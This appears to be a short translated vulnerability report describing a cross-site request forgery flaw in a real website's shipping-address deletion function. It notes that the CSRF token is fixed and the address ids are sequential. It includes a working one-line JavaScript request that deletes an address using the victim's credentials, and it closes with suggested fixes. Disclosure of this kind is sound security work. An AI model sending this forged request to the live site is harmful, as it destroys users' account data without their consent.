The csrf exists in the shipping address deleted from the network.

The csrf exists in the shipping address deleted from the network.

Detailed description:

Csrf exists in the shipping address. troubleshoot the problems in other places one by one.

Delete the shipping address and capture packets;

We can see that the message body has the csrf_token parameter in China, but it is actually a false parameter because it is a fixed value and the address id is purely numeric self-added. Therefore, there is no unpredictable parameter and a malicious link is forged. The main code is as follows:

Code Region

xmlhttp.open("POST", "http://i.yifutu.com/Ajax/space/ManagerAjax.ashx", true);xmlhttp.withCredentials = true;xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");xmlhttp.send("ajaxType=8&id=142623&csrf_token=7068c3f1-ffd9-4215-bd29-a559011b4c67");

Access this link:

Refresh. The address has been deleted successfully. Comparison chart;

 

Proof of vulnerability:

Same as above

Solution:

Verify referer

Random token.